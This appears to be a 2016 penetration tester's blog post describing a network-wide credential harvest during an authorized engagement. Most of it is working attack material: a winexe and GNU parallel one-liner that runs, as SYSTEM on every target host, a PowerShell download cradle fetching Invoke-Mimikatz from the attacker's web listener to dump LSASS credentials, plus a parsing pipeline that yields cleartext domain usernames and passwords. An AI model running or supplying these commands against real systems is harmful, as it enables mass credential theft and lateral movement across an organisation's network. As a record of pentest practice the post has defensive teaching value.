Wednesday, June 29, 2016

Mimikatz All The Things

A while back I was onsite doing another easy-mode pentest that had local admin shared EVERYWHERE (come on guys) when the client walked in and bet me lunch that I couldn't get his password in the next 45 minutes. I don't know if he was doing it as a joke being as how he already knew I had local admin, or if he was genuinely in need of an illustration at just how quickly things can go bad. Either way, I had his permission to watch the world burn.

It was primarily a Windows network, with Server 2008 and Windows 7/8 for most the workstations. I tested the workstation in the conference room to determine they had Powershell, and knew I was in business.

PowerSploit includes a Powershell port of mimikatz which can pull cleartext wdigest creds stored in LSASS. There is a ton of literature as to how mimikatz does its magic online if you want to know more. Normally, I would conduct this kind of testing in a low and slow method, trying to evade detection but what the hell.

To start, I setup a web listener in the PowerSploit/Exfiltration directory:
cd ~/Tools/PowerSploit/Exfiltration; ruby -run -e httpd . -p 8080

I then threw the following one-liner together while the client counted down the minutes as they passed, let it smash against his entire network, and LOLed ~15 minutes later when I explained adequate password selection to his bewildered face.
sort -R targets.txt | parallel -P10 --timeout 60 --tag -q winexe --system --uninstall -U 'DOMAIN/USERNAME%PASSWORD' //{} "powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\"" 2>; parallel.error | tee -a mimikatz_all_the_things.txt

So what is it doing? Let's break it down.

sort -R targets | #randomize the targets and pass them in
parallel -P10     #kick off parallel with 10 jobslots
--timeout 60      #kill each job if it exceeds 60 seconds
--tag             #tag each line of output, not really necessary but why not
-q winexe         #quote the following command and args
--system          #run winexe service as NT AUTH\SYSTEM
--uninstall       #uninstall the service when finished
-U 'CREDS'        #pass the login creds to winexe
//{}              #the magic; where parallel will substitute in the input 

Following that is a long block of Powershell, but it is fairly straightforward:
"powershell \"IEX (New-Object Net.WebClient).DownloadString('http://<MY_IP>:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\""

The Powershell Invoke-Expression cmdlet downloads the Invoke-Mimikatz.ps1 Powershell script from our web listener, then passes the 'Invoke-Mimikatz -DumpCreds' argument to it.

Lastly, the we pass errors to a file we call 'parallel.error', or output is ran though tee to display on screen and also append the 'mimikatz_all_the_things.txt' file:
2>; parallel.error | tee -a mimikatz_all_the_things.txt

It's pretty easy to grep out the user I was looking for, but just to help illustrate I ran the output though a parsing script that I found somewhere online(sorry for lack of attribution random Internet saint):
cat mimikatz_all_the_things.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Which parses through the whole mimikatz output and outputs a super disturbingly beautiful listing of users and cleartext creds:
CLIENTS_DOMAIN\user01:password01
CLIENTS_DOMAIN\user02:password02
CLIENTS_DOMAIN\user03:password03
CLIENTS_DOMAIN\user04:password04
CLIENTS_DOMAIN\user05:password05
.
.

Bingo bango. Free lunch. Pretty tasty pizza I might add. Thanks for motivating me, Mr. Client.

No comments:

Post a Comment